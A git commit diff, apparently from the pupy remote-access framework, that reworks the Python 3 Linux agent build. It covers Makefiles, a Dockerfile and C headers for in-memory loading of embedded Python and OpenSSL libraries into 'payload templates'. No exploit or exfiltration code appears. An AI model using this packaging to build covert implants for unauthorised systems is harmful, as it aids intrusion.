mirror of https://github.com/n1nj4sec/pupy.git
fix python3 linux agent build
This commit is contained in:
parent
4ae6ce474c
commit
90a8f7a9c3
|
@ -4,6 +4,7 @@ import socket
|
|||
import threading
|
||||
import queue
|
||||
import collections
|
||||
import _struct
|
||||
import struct
|
||||
import os
|
||||
import sys
|
||||
|
|
|
@ -52,6 +52,8 @@ if [ ! -z "$1" ] && [ ! -z "$2" ]; then
|
|||
start_container $1 $2
|
||||
else
|
||||
start_container windows-py3 sources-windows-py3
|
||||
start_container pupy-linux-py3 sources-linux-py3
|
||||
|
||||
#start_container linux32 sources-linux
|
||||
#start_container linux-amd64-py3 sources-linux-py3
|
||||
#start_container linux-amd64-py2 sources-linux-py2
|
||||
|
|
|
@ -103,7 +103,7 @@ all_dependencies.add('re')
|
|||
|
||||
exceptions = (
|
||||
'pupy', 'pupy.agent', 'pupy.network', 'pupyimporter', 'additional_imports', 'pupy_hooks', 'pupy_modules',
|
||||
'network', 'pupyimporter', 'additional_imports'
|
||||
'network', 'pupyimporter', 'additional_imports', '_openssl'
|
||||
)
|
||||
|
||||
all_dependencies = sorted(list(set(all_dependencies)))
|
||||
|
@ -117,7 +117,7 @@ for dep in list(all_dependencies):
|
|||
|
||||
|
||||
ignore = {
|
||||
'_cffi_backend.so', '_cffi_backend.pyd',
|
||||
'_cffi_backend.pyd',
|
||||
|
||||
# We don't use this anyway
|
||||
'Crypto/PublicKey/ElGamal.py',
|
||||
|
|
|
@ -17,6 +17,7 @@ int dprint(const char *fmt, ...) {
|
|||
return n;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
int dwprint(const wchar_t *fmt, ...) {
|
||||
va_list args;
|
||||
int n;
|
||||
|
@ -31,6 +32,7 @@ int dwprint(const wchar_t *fmt, ...) {
|
|||
fflush(log);
|
||||
return n;
|
||||
}
|
||||
#endif
|
||||
|
||||
void set_debug_log(const char *dest) {
|
||||
FILE * new_debug_log = fopen(dest, "w+");
|
||||
|
|
|
@ -7,17 +7,20 @@
|
|||
#ifdef DEBUG
|
||||
|
||||
int dprint(const char *fmt, ...);
|
||||
#ifdef _WIN32
|
||||
int dwprint(const wchar_t *fmt, ...);
|
||||
#endif
|
||||
|
||||
void set_debug_log(const char *dest);
|
||||
|
||||
|
||||
#define DOC(x) x
|
||||
|
||||
#else
|
||||
#define DOC(x) ""
|
||||
|
||||
#define dprint(...) do {} while (0)
|
||||
#define dwprint(...) do {} while (0)
|
||||
#define dwprint(...) do {} while (0)//
|
||||
|
||||
#endif
|
||||
|
||||
|
|
|
@ -128,7 +128,6 @@ int , Py_NoUserSiteDirectory
|
|||
int , Py_DontWriteBytecodeFlag
|
||||
int , Py_IgnoreEnvironmentFlag
|
||||
int , Py_IsolatedFlag
|
||||
int , Py_LegacyWindowsFSEncodingFlag
|
||||
int , Py_UnbufferedStdioFlag
|
||||
|
||||
PyObject, PyUnicode_Type
|
||||
|
@ -149,8 +148,11 @@ int, PyRun_SimpleString, (const char *command)
|
|||
int, _PyImport_FixupExtensionObject, (PyObject *mod, PyObject *name, PyObject *filename, PyObject *modules)
|
||||
PyObject *, PyImport_GetModuleDict, ()
|
||||
|
||||
PyObject *, PyFile_FromFd, (int fd, const char *name, const char *mode, int buffering, const char *encoding, const char *errors, const char *newline, int closefd)
|
||||
|
||||
'''.strip().splitlines()
|
||||
|
||||
#int , Py_LegacyWindowsFSEncodingFlag
|
||||
|
||||
# useful types ?
|
||||
"""
|
||||
|
|
|
@ -14,3 +14,7 @@ strip -s build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy
|
|||
echo "saving built template to ~/.pupy/payload_templates/ ..."
|
||||
mkdir -p ~/.pupy/payload_templates
|
||||
cp ./build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy ~/.pupy/payload_templates/pupyx86-310.lin
|
||||
|
||||
|
||||
# not working, missing msvc on windows
|
||||
#docker run --rm -v $(pwd):/opt/win/drive_c/tools/pupy -ti wine 'set PATH=%PATH%;C:\\Program Files\\PyOxidizer && C: && cd C:\\tools\\pupy && pyoxidizer build --release'
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
pycryptodome==3.7.0
|
||||
pycryptodomex==3.7.0
|
||||
pyaes
|
||||
psutil==5.9.2
|
||||
rsa==4.0
|
||||
|
|
|
@ -2,13 +2,11 @@ import-tab.c
|
|||
import-tab.h
|
||||
resources_bootloader_pyc.c
|
||||
resources_library_compressed_string_txt.c
|
||||
resources_python27_so.c
|
||||
resources_python3x_so.c
|
||||
resources_libcrypto_so.c
|
||||
resources_libssl_so.c
|
||||
resources_zlib_so.c
|
||||
resources/bootloader.pyc
|
||||
resources/library.zip
|
||||
resources/library_compressed_string.txt
|
||||
resources/python27.so
|
||||
resources/*
|
||||
*.pyc
|
||||
*.o
|
||||
build/*
|
|
@ -0,0 +1,35 @@
|
|||
FROM debian:buster
|
||||
RUN apt-get update -y
|
||||
RUN apt-get upgrade -y
|
||||
RUN apt-get install -y curl git make build-essential libssl-dev zlib1g-dev \
|
||||
libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev \
|
||||
libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev python3-openssl libcap-dev libnacl-dev unixodbc libacl1-dev libasound2-dev portaudio19-dev zip
|
||||
RUN curl https://pyenv.run | bash
|
||||
|
||||
ENV HOME="/root"
|
||||
ENV PYENV_ROOT="$HOME/.pyenv"
|
||||
ENV PATH="$PYENV_ROOT/bin:$PATH"
|
||||
RUN echo '#!/bin/bash' >> /init.sh \
|
||||
&& echo 'eval "$(pyenv init -)"' >> /init.sh \
|
||||
&& echo 'eval "$(pyenv virtualenv-init -)"' >> /init.sh
|
||||
COPY docker /tmp/docker
|
||||
RUN pyenv install 3.10.6 --patch < /tmp/docker/pyenv-setup-build.patch
|
||||
RUN pyenv global 3.10.6 \
|
||||
&& pyenv virtualenv 3.10.6 pupy
|
||||
|
||||
RUN curl https://sh.rustup.rs -sSf | sh -s -- -y
|
||||
# Add .cargo/bin to PATH
|
||||
ENV PATH="/root/.cargo/bin:${PATH}"
|
||||
RUN echo 'pyenv activate pupy' >> /init.sh
|
||||
|
||||
RUN chmod +x /init.sh
|
||||
RUN bash -c "source /init.sh;"
|
||||
RUN echo '$@' >> /init.sh
|
||||
|
||||
ENV TOOLCHAIN_ARCH="amd64"
|
||||
|
||||
WORKDIR /build/workspace/project/
|
||||
|
||||
ENTRYPOINT ["bash", "/init.sh"]
|
||||
CMD ["client/sources-linux-py3/build-docker.sh"]
|
||||
|
|
@ -1,6 +1,6 @@
|
|||
CC ?= gcc
|
||||
PYMAJ ?= 2
|
||||
PYMIN ?= 7
|
||||
PYMAJ ?= 3
|
||||
PYMIN ?= 10
|
||||
|
||||
OS ?= $(shell uname -s)
|
||||
MACH ?= $(shell uname -m)
|
||||
|
@ -16,6 +16,7 @@ PIE ?= -pie
|
|||
|
||||
CFLAGS += -D$(OS) -std=gnu99
|
||||
CFLAGS += -DPYMAJ=$(PYMAJ) -DPYMIN=$(PYMIN)
|
||||
CFLAGS += -DPYTHON_LIB_NAME="python$(PYMAJ)$(PYMIN).so"
|
||||
|
||||
ifeq ($(OPENSSL_LIB_VERSION),)
|
||||
OPENSSL_LIB_VERSION := 1.0.0
|
||||
|
@ -27,6 +28,10 @@ ifeq ($(LIBPYTHON),)
|
|||
LIBPYTHON := $(shell /sbin/ldconfig -p | awk '/libpython$(PYMAJ).$(PYMIN).so/{print $$4}' | head -n 1)
|
||||
endif
|
||||
|
||||
ifeq ($(LIBPYTHON_INC),)
|
||||
#LIBPYTHON_INC := -I/root/.pyenv/versions/3.10.6/include/python3.10/
|
||||
endif
|
||||
|
||||
ifeq ($(LIBCRYPTO),)
|
||||
LIBCRYPTO := $(shell /sbin/ldconfig -p | awk '/libcrypto.so.$(OPENSSL_LIB_VERSION)/{print $$4}' | head -n 1)
|
||||
endif
|
||||
|
@ -35,6 +40,11 @@ ifeq ($(LIBSSL),)
|
|||
LIBSSL := $(shell /sbin/ldconfig -p | awk '/libssl.so.$(OPENSSL_LIB_VERSION)/{print $$4}' | head -n 1)
|
||||
endif
|
||||
|
||||
|
||||
ifeq ($(LIBFFI),)
|
||||
LIBFFI := $(shell /sbin/ldconfig -p | awk '/libffi.so.6/{print $$4}' | head -n1)
|
||||
endif
|
||||
|
||||
XZARGS ?= "gcc" "aligned(0x1000)" 'section(".xzrodata")'
|
||||
|
||||
# Compatibility for old well-known platforms
|
||||
|
@ -90,20 +100,19 @@ ifneq ($(DEBUG_USE_OS_PYTHON),)
|
|||
CFLAGS += -DDEBUG_USE_OS_PYTHON
|
||||
endif
|
||||
|
||||
PYTHON ?= python
|
||||
PYTHON ?= python3
|
||||
TEMPLATE_OUTPUT_PATH ?= ../../pupy/payload_templates/
|
||||
|
||||
SHARED_OBJS := main_so.o pupy_shared.o tmplibrary_lmid.o pupy_load_shared.o
|
||||
SHARED_OBJS := main_so.o tmplibrary_lmid.o pupy_load.o
|
||||
SHARED_CFLAGS := -D_PUPY_SO
|
||||
APP_OBJS := main_exe.o pupy.o tmplibrary.o pupy_load.o
|
||||
APP_OBJS := main_exe.o tmplibrary.o pupy_load.o
|
||||
COMMON_OBJS := daemonize.o decompress.o
|
||||
LOAD_DEPS := \
|
||||
resources/$(MACH)/libssl.c resources/$(MACH)/libcrypto.c \
|
||||
resources/$(MACH)/python$(PYMAJ)$(PYMIN).c \
|
||||
resources/$(MACH)/libssl.c \
|
||||
resources/$(MACH)/libcrypto.c \
|
||||
resources/$(MACH)/libffi.c \
|
||||
resources/$(MACH)/python3x.c \
|
||||
resources/$(MACH)/library.c \
|
||||
../common/Python-dynload.c ../common/Python-dynload.h \
|
||||
../common/Python-dynload.c ../common/Python-dynload.h \
|
||||
../common/LzmaDec.c ../common/LzmaDec.h ../common/lzmaunpack.c \
|
||||
import-tab.h revision.h
|
||||
|
||||
|
||||
|
@ -121,6 +130,7 @@ endif
|
|||
|
||||
ifneq ($(DEBUG),)
|
||||
COMMON_OBJS += $(DEBUG_OBJS)
|
||||
CEXTFLAGS := --debug
|
||||
endif
|
||||
|
||||
ifeq ($(UNCOMPRESSED),)
|
||||
|
@ -144,7 +154,16 @@ CFLAGS += -D_FEATURE_INJECTOR -Iinjector/include
|
|||
LDFLAGS += -Wl,-wrap,realpath
|
||||
endif
|
||||
|
||||
all: $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX) $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX).so
|
||||
PUPY_LOAD_DEPS := \
|
||||
pupy_load.c \
|
||||
resources/$(MACH)/library.c \
|
||||
resources/$(MACH)/python3x.c \
|
||||
resources/$(MACH)/libssl.c \
|
||||
resources/$(MACH)/libcrypto.c \
|
||||
resources/$(MACH)/libffi.c \
|
||||
import-tab.c revision.h
|
||||
|
||||
all: $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX) $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX).so $(TEMPLATE_OUTPUT_PATH)/_pupy$(SUFFIX).so
|
||||
|
||||
revision.h:
|
||||
if [ x"$$COMMIT" = x"" ]; then rev=`cat ../../.git/\`cat ../../.git/HEAD | cut -f 2 -d \ \` | cut -c 1-8`; \
|
||||
|
@ -153,24 +172,30 @@ revision.h:
|
|||
debug.o: ../common/debug.c ../common/debug.h
|
||||
$(CC) -c -o $@ $< $(CFLAGS)
|
||||
|
||||
pupy.o: pupy.c revision.h ../common/Python-dynload.h import-tab.h
|
||||
resources/$(MACH)/_pupy.so: build_c_ext.py revision.h pupy.c daemonize.c tmplibrary.c decompress.c ld_hooks.c
|
||||
$(PYTHON) build_c_ext.py build $(CEXTFLAGS)
|
||||
cp -f $(shell echo build/lib.linux-*/_pupy.*) resources/$(MACH)/_pupy.so
|
||||
|
||||
pupy_shared.o: pupy.c revision.h ../common/jni_on_load.c ../common/Python-dynload.h import-tab.h
|
||||
$(CC) -c -o $@ $< $(CFLAGS) $(SHARED_CFLAGS)
|
||||
# pupy.o: revision.h ../common/jni_on_load.c ../common/Python-dynload.h import-tab.h $(PUPY_LOAD_DEPS) resources/$(MACH)/python3x.c
|
||||
# $(CC) -c $(LIBPYTHON_INC) -o $@ $(CFLAGS) $(SHARED_CFLAGS) $<
|
||||
|
||||
main_so.o: import-tab.h
|
||||
main_exe.o: import-tab.h
|
||||
main_so.o: main_so.c import-tab.h
|
||||
$(CC) -c -o $@ $< $(CFLAGS) $(LOAD_SHARED_CFLAGS)
|
||||
|
||||
pupy_load_shared.o: pupy_load.c $(LOAD_DEPS)
|
||||
$(CC) -c -o $@ $< $(CFLAGS) $(LOAD_SHARED_CFLAGS)
|
||||
main_exe.o: main_exe.c import-tab.h
|
||||
$(CC) $(CFLAGS) -c -o $@ $<
|
||||
|
||||
pupy_load.o: pupy_load.c $(LOAD_DEPS)
|
||||
pupy_load.o: pupy_load.c $(LOAD_DEPS) resources/$(MACH)/_pupy.c import-tab.h
|
||||
$(CC) -c -o $@ $< $(CFLAGS)
|
||||
|
||||
tmplibrary.o: tmplibrary.c
|
||||
$(CC) -c -o $@ $< $(CFLAGS)
|
||||
|
||||
tmplibrary_lmid.o: tmplibrary.c
|
||||
$(CC) -c -o $@ $< $(CFLAGS) -DWIP_LMID
|
||||
|
||||
import-tab.c import-tab.h: ../mktab.py
|
||||
$(PYTHON) $(PFLAGS) $<
|
||||
$(PYTHON) $(PFLAGS) $< UCS4
|
||||
|
||||
ifeq ($(UNCOMPRESSED),)
|
||||
LzmaDec.o: ../common/LzmaDec.c
|
||||
|
@ -219,10 +244,21 @@ resources/$(MACH)/libssl.so: $(LIBSSL)
|
|||
mv $@.tmp $@
|
||||
rm -f $@.tmp
|
||||
|
||||
resources/$(MACH)/libffi.so: $(LIBFFI)
|
||||
@mkdir -p resources/$(MACH)
|
||||
cp -f $< $@.tmp
|
||||
-chmod 600 $@.tmp
|
||||
-strip $@.tmp
|
||||
mv $@.tmp $@
|
||||
rm -f $@.tmp
|
||||
|
||||
resources/$(MACH)/library.zip: ../build_library_zip.py ../additional_imports.py
|
||||
$(PYTHON) -OO $(PFLAGS) $< $@
|
||||
|
||||
resources/$(MACH)/python$(PYMAJ)$(PYMIN).c: ../gen_resource_header.py resources/$(MACH)/python$(PYMAJ)$(PYMIN).so
|
||||
resources/$(MACH)/_pupy.c: ../gen_resource_header.py resources/$(MACH)/_pupy.so
|
||||
$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)
|
||||
|
||||
resources/$(MACH)/python3x.c: ../gen_resource_header.py resources/$(MACH)/python$(PYMAJ)$(PYMIN).so
|
||||
$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)
|
||||
|
||||
resources/$(MACH)/libssl.c: ../gen_resource_header.py resources/$(MACH)/libssl.so
|
||||
|
@ -231,6 +267,9 @@ resources/$(MACH)/libssl.c: ../gen_resource_header.py resources/$(MACH)/libssl.s
|
|||
resources/$(MACH)/libcrypto.c: ../gen_resource_header.py resources/$(MACH)/libcrypto.so
|
||||
$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)
|
||||
|
||||
resources/$(MACH)/libffi.c: ../gen_resource_header.py resources/$(MACH)/libffi.so
|
||||
$(PYTHON) $(PFLAGS) $+ $@ $(COMPRESSED) $(XZARGS)
|
||||
|
||||
$(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX): $(APP_OBJS) $(COMMON_OBJS)
|
||||
$(CC) $(PIE) $+ -o $@ $(LDFLAGS) \
|
||||
-Wl,--version-script=pupy.ldscript \
|
||||
|
@ -240,21 +279,29 @@ $(TEMPLATE_OUTPUT_PATH)/pupy$(NAME)-$(SUFFIX).so: $(SHARED_OBJS) $(COMMON_OBJS)
|
|||
$(CC) -shared $+ -o $@ $(LDFLAGS) -Wl,-soname,pupy$(NAME)-$(SUFFIX).so \
|
||||
-Wl,--version-script=pupy.so.ldscript
|
||||
|
||||
$(TEMPLATE_OUTPUT_PATH)/_pupy$(SUFFIX).so: resources/$(MACH)/_pupy.so
|
||||
cp resources/$(MACH)/_pupy.so $(TEMPLATE_OUTPUT_PATH)/_pupy$(SUFFIX).so
|
||||
|
||||
.PHONY: clean all
|
||||
|
||||
clean:
|
||||
rm -f $(COMMON_OBJS) $(PYOBJS)
|
||||
rm -f pupy pupy.so
|
||||
rm -f *.o
|
||||
rm -f resources/$(MACH)/_pupy.so
|
||||
rm -f resources/$(MACH)/_pupy.c
|
||||
rm -rf build
|
||||
|
||||
distclean: clean
|
||||
rm -f resources/*.c
|
||||
rm -f resources/$(MACH)/*.c
|
||||
rm -f resources/$(MACH)/_pupy.so
|
||||
rm -f ld_hooks_$(NAME).c
|
||||
rm -f ld_hooks_$(NAME).so
|
||||
rm -f import-tab.c
|
||||
rm -f import-tab.h
|
||||
rm -f revision.h
|
||||
rm -rf resources
|
||||
rm -rf build
|
||||
|
||||
$(COMMON_OBJS) $(PYOBJS): import-tab.h
|
|
@ -0,0 +1,229 @@
|
|||
#ifndef PYTHON_DYNLOAD_OS_H
|
||||
#define PYTHON_DYNLOAD_OS_H
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
#include <dlfcn.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifndef PYTHON_LIB_NAME
|
||||
#define PYTHON_LIB_NAME "python310.so"
|
||||
#endif
|
||||
|
||||
#include "Python-dynload.h"
|
||||
|
||||
#define FREE_HMODULE_AFTER_LOAD 1
|
||||
#define FILE_SYSTEM_ENCODING "utf-8"
|
||||
|
||||
typedef void *HMODULE;
|
||||
typedef void *(*resolve_symbol_t)(HMODULE hModule, const char *name);
|
||||
|
||||
#ifndef OPENSSL_LIB_VERSION
|
||||
#define OPENSSL_LIB_VERSION "1.1"
|
||||
#endif
|
||||
|
||||
typedef struct PyPreConfig {
|
||||
int _config_init;
|
||||
int parse_argv;
|
||||
int isolated;
|
||||
int use_environment;
|
||||
int configure_locale;
|
||||
int coerce_c_locale;
|
||||
int coerce_c_locale_warn;
|
||||
int legacy_windows_fs_encoding;
|
||||
int utf8_mode;
|
||||
int dev_mode;
|
||||
int allocator;
|
||||
} PyPreConfig;
|
||||
|
||||
typedef struct {
|
||||
enum {
|
||||
_PyStatus_TYPE_OK=0,
|
||||
_PyStatus_TYPE_ERROR=1,
|
||||
_PyStatus_TYPE_EXIT=2
|
||||
} _type;
|
||||
const char *func;
|
||||
const char *err_msg;
|
||||
int exitcode;
|
||||
} PyStatus;
|
||||
|
||||
typedef struct {
|
||||
/* If length is greater than zero, items must be non-NULL
|
||||
and all items strings must be non-NULL */
|
||||
Py_ssize_t length;
|
||||
wchar_t **items;
|
||||
} PyWideStringList;
|
||||
|
||||
typedef struct PyConfig {
|
||||
int _config_init; /* _PyConfigInitEnum value */
|
||||
|
||||
int isolated;
|
||||
int use_environment;
|
||||
int dev_mode;
|
||||
int install_signal_handlers;
|
||||
int use_hash_seed;
|
||||
unsigned long hash_seed;
|
||||
int faulthandler;
|
||||
int tracemalloc;
|
||||
int perf_profiling;
|
||||
int import_time;
|
||||
int code_debug_ranges;
|
||||
int show_ref_count;
|
||||
int dump_refs;
|
||||
wchar_t *dump_refs_file;
|
||||
int malloc_stats;
|
||||
wchar_t *filesystem_encoding;
|
||||
wchar_t *filesystem_errors;
|
||||
wchar_t *pycache_prefix;
|
||||
int parse_argv;
|
||||
PyWideStringList orig_argv;
|
||||
PyWideStringList argv;
|
||||
PyWideStringList xoptions;
|
||||
PyWideStringList warnoptions;
|
||||
int site_import;
|
||||
int bytes_warning;
|
||||
int warn_default_encoding;
|
||||
int inspect;
|
||||
int interactive;
|
||||
int optimization_level;
|
||||
int parser_debug;
|
||||
int write_bytecode;
|
||||
int verbose;
|
||||
int quiet;
|
||||
int user_site_directory;
|
||||
int configure_c_stdio;
|
||||
int buffered_stdio;
|
||||
wchar_t *stdio_encoding;
|
||||
wchar_t *stdio_errors;
|
||||
#ifdef _WIN32
|
||||
int legacy_windows_stdio;
|
||||
#endif
|
||||
wchar_t *check_hash_pycs_mode;
|
||||
int use_frozen_modules;
|
||||
int safe_path;
|
||||
int int_max_str_digits;
|
||||
|
||||
/* --- Path configuration inputs ------------ */
|
||||
int pathconfig_warnings;
|
||||
wchar_t *program_name;
|
||||
wchar_t *pythonpath_env;
|
||||
wchar_t *home;
|
||||
wchar_t *platlibdir;
|
||||
|
||||
/* --- Path configuration outputs ----------- */
|
||||
int module_search_paths_set;
|
||||
PyWideStringList module_search_paths;
|
||||
wchar_t *stdlib_dir;
|
||||
wchar_t *executable;
|
||||
wchar_t *base_executable;
|
||||
wchar_t *prefix;
|
||||
wchar_t *base_prefix;
|
||||
wchar_t *exec_prefix;
|
||||
wchar_t *base_exec_prefix;
|
||||
|
||||
/* --- Parameter only used by Py_Main() ---------- */
|
||||
int skip_source_first_line;
|
||||
wchar_t *run_command;
|
||||
wchar_t *run_module;
|
||||
wchar_t *run_filename;
|
||||
|
||||
/* --- Private fields ---------------------------- */
|
||||
|
||||
// Install importlib? If equals to 0, importlib is not initialized at all.
|
||||
// Needed by freeze_importlib.
|
||||
int _install_importlib;
|
||||
|
||||
// If equal to 0, stop Python initialization before the "main" phase.
|
||||
int _init_main;
|
||||
|
||||
// If non-zero, disallow threads, subprocesses, and fork.
|
||||
// Default: 0.
|
||||
int _isolated_interpreter;
|
||||
|
||||
// If non-zero, we believe we're running from a source tree.
|
||||
int _is_python_build;
|
||||
} PyConfig;
|
||||
|
||||
|
||||
#define DEPENDENCIES \
|
||||
{ \
|
||||
{ \
|
||||
"libcrypto.so." OPENSSL_LIB_VERSION, \
|
||||
libcrypto_c_start, \
|
||||
libcrypto_c_size, \
|
||||
FALSE \
|
||||
}, { \
|
||||
"libssl.so." OPENSSL_LIB_VERSION, \
|
||||
libssl_c_start, \
|
||||
libssl_c_size, \
|
||||
FALSE \
|
||||
}, { \
|
||||
"libffi.so.6", \
|
||||
libffi_c_start, \
|
||||
libffi_c_size, \
|
||||
FALSE \
|
||||
}, { \
|
||||
"python310.so", \
|
||||
python3x_c_start, \
|
||||
python3x_c_size, \
|
||||
TRUE \
|
||||
} \
|
||||
}
|
||||
|
||||
#define OSAlloc(size) malloc(size)
|
||||
#define OSFree(ptr) free(ptr)
|
||||
|
||||
#define OSLoadLibrary(name) dlopen(name, RTLD_NOW)
|
||||
#define OSResolveSymbol dlsym
|
||||
#define OSUnmapRegion munmap
|
||||
#define MemLoadLibrary(name, bytes, size, arg) \
|
||||
memdlopen(name, bytes, size, RTLD_NOW | RTLD_GLOBAL)
|
||||
#define MemResolveSymbol dlsym
|
||||
#define CheckLibraryLoaded(name) dlopen(name, RTLD_NOW | RTLD_NOLOAD)
|
||||
|
||||
#ifndef PYTHON_DYNLOAD_OS_NO_BLOBS
|
||||
static const char *OSGetProgramName()
|
||||
{
|
||||
static BOOL is_set = FALSE;
|
||||
static char exe[PATH_MAX] = {'\0'};
|
||||
|
||||
if (is_set)
|
||||
return exe;
|
||||
|
||||
#if defined(Linux)
|
||||
dprint("INVOCATION NAME: %s\n", program_invocation_name);
|
||||
|
||||
if (readlink("/proc/self/exe", exe, sizeof(exe)) > 0)
|
||||
{
|
||||
if (strstr(exe, "/memfd:"))
|
||||
{
|
||||
snprintf(exe, sizeof(exe), "/proc/%d/exe", getpid());
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
char *upx_env = getenv(" ");
|
||||
if (upx_env)
|
||||
{
|
||||
snprintf(exe, sizeof(exe), "%s", upx_env);
|
||||
}
|
||||
}
|
||||
|
||||
#elif defined(SunOS)
|
||||
strcpy(exe, getexecname());
|
||||
#endif
|
||||
|
||||
is_set = TRUE;
|
||||
return exe;
|
||||
}
|
||||
|
||||
#include "python3x.c"
|
||||
#include "libcrypto.c"
|
||||
#include "libssl.c"
|
||||
#include "libffi.c"
|
||||
#include "tmplibrary.h"
|
||||
#endif
|
||||
|
||||
#endif
|
|
@ -12,8 +12,10 @@ TEMPLATES=$PUPY/payload_templates
|
|||
EXTERNAL=../../pupy/external
|
||||
PYKCP=$EXTERNAL/pykcp
|
||||
PYOPUS=$EXTERNAL/pyopus/src
|
||||
SUFFIX="-`python -c 'import sys;sys.stdout.write((chr.__call__(0)[0:0]).join([str(x) for x in sys.version_info[0:2]]));sys.stdout.flush()'`"
|
||||
PIP_INSTALL="python -m pip install --upgrade"
|
||||
|
||||
|
||||
set -e
|
||||
|
||||
echo "[+] Install python packages"
|
||||
|
@ -21,54 +23,54 @@ echo "[+] Install python packages"
|
|||
$PIP_INSTALL pip
|
||||
$PIP_INSTALL setuptools cython
|
||||
$PIP_INSTALL -q six packaging appdirs
|
||||
#CC=/gccwrap
|
||||
|
||||
CC=/gccwrap CFLAGS_ABORT="-D_FORTIFY_SOURCE=2 -fstack-protector" \
|
||||
$PIP_INSTALL -q pynacl --no-binary :all:
|
||||
CFLAGS_ABORT="-D_FORTIFY_SOURCE=2 -fstack-protector" \
|
||||
$PIP_INSTALL -q pynacl
|
||||
|
||||
CC=/gccwrap CFLAGS_FILTER="-Wno-error=sign-conversion" \
|
||||
CFLAGS_FILTER="-Wno-error=sign-conversion" \
|
||||
CFLAGS="$CFLAGS -DHEADER_UI_H -D__builtin_unreachable=abort" \
|
||||
$PIP_INSTALL -q cryptography --no-binary :all:
|
||||
|
||||
export PRCTL_SKIP_KERNEL_CHECK=yes
|
||||
|
||||
if [ "$TOOLCHAIN_ARCH" == "x86" ]; then
|
||||
if [ "$TOOLCHAIN_ARCH" = "x86" ]; then
|
||||
export CFLAGS="$CFLAGS -D__NR_ioprio_get=290 -D__NR_ioprio_set=289"
|
||||
fi
|
||||
|
||||
LDFLAGS="$LDFLAGS -Wl,-Bstatic -lcap -Wl,-Bdynamic" \
|
||||
$PIP_INSTALL python-prctl --no-binary :all:
|
||||
$PIP_INSTALL python-prctl
|
||||
|
||||
$PIP_INSTALL pyodbc
|
||||
$PIP_INSTALL \
|
||||
pyaml ushlex rsa netaddr==0.7.19 pyyaml ecdsa idna impacket \
|
||||
pyaml ushlex rsa netaddr pyyaml ecdsa idna impacket \
|
||||
paramiko pylzma pydbus python-ptrace psutil scandir \
|
||||
scapy colorama pyOpenSSL python-xlib msgpack-python \
|
||||
u-msgpack-python poster dnslib pyxattr pylibacl http_parser \
|
||||
u-msgpack-python dnslib pyxattr pylibacl http_parser \
|
||||
https://github.com/alxchk/tinyec/archive/master.zip \
|
||||
https://github.com/warner/python-ed25519/archive/master.zip \
|
||||
https://github.com/alxchk/urllib-auth/archive/master.zip \
|
||||
zeroconf==0.19.1 pyodbc \
|
||||
watchdog pulsectl pycryptodomex==3.7.0 --no-binary :all:
|
||||
zeroconf \
|
||||
watchdog pulsectl pycryptodomex --no-binary :all:
|
||||
|
||||
LDFLAGS="$LDFLAGS -lm -lasound" CFLAGS="$CFLAGS -std=gnu99" \
|
||||
$PIP_INSTALL pyalsaaudio --no-binary :all:
|
||||
|
||||
if [ "$TOOLCHAIN_ARCH" == "x86" ]; then
|
||||
if [ "$TOOLCHAIN_ARCH" = "x86" ]; then
|
||||
CFLAGS_PYJNIUS="$CFLAGS"
|
||||
else
|
||||
CFLAGS_PYJNIUS="$CFLAGS -D_LP64"
|
||||
fi
|
||||
|
||||
CFLAGS="${CFLAGS_PYJNIUS}" NO_JAVA=1 \
|
||||
python -m pip install \
|
||||
https://github.com/alxchk/pyjnius/archive/master.zip
|
||||
#CFLAGS="${CFLAGS_PYJNIUS}" NO_JAVA=1 \
|
||||
# python -m pip install \
|
||||
# https://github.com/alxchk/pyjnius/archive/master.zip
|
||||
|
||||
CFLAGS="$CFLAGS -DDUK_DOUBLE_INFINITY=\"(1.0 / 0.0)\"" \
|
||||
LDFLAGS="$LDFLAGS -lm" \
|
||||
$PIP_INSTALL dukpy --no-binary :all:
|
||||
|
||||
LDFLAGS="$LDFLAGS -lkrb5 -lk5crypto -lcom_err -lgssrpc -lgssapi_krb5" \
|
||||
$PIP_INSTALL https://github.com/alxchk/ccs-pykerberos/archive/master.zip
|
||||
|
||||
#LDFLAGS="$LDFLAGS -lkrb5 -lk5crypto -lcom_err -lgssrpc -lgssapi_krb5" \
|
||||
# $PIP_INSTALL https://github.com/alxchk/ccs-pykerberos/archive/master.zip
|
||||
LDFLAGS="$LDFLAGS -lasound -lm -lrt" $PIP_INSTALL pyaudio
|
||||
|
||||
$PIP_INSTALL --force-reinstall pycparser==2.17
|
||||
|
@ -78,20 +80,19 @@ rm -rf $PYKCP/{kcp.so,kcp.pyd,kcp.dll,build,KCP.egg-info}
|
|||
$PIP_INSTALL --force $PYKCP
|
||||
python -c 'import kcp' || exit 1
|
||||
|
||||
echo "[+] Compile opus"
|
||||
(cd $PYOPUS && make clean && LDFLAGS="$LDFLAGS -lm" make && mv -f opus.so /usr/lib/python2.7/site-packages)
|
||||
python -c 'import opus' || exit 1
|
||||
#echo "[+] Compile opus"
|
||||
#(cd $PYOPUS && make clean && LDFLAGS="$LDFLAGS -lm" make && mv -f opus.so /usr/lib/python2.7/site-packages)
|
||||
#python -c 'import opus' || exit 1
|
||||
|
||||
echo "[+] Compile pyuv"
|
||||
|
||||
if [ "$TOOLCHAIN_ARCH" == "x86" ]; then
|
||||
if [ "$TOOLCHAIN_ARCH" = "x86" ]; then
|
||||
CFLAGS_PYUV="-O2 -pipe -DCLOCK_MONOTONIC=1 -UHAVE_PTHREAD_COND_TIMEDWAIT_MONOTONIC"
|
||||
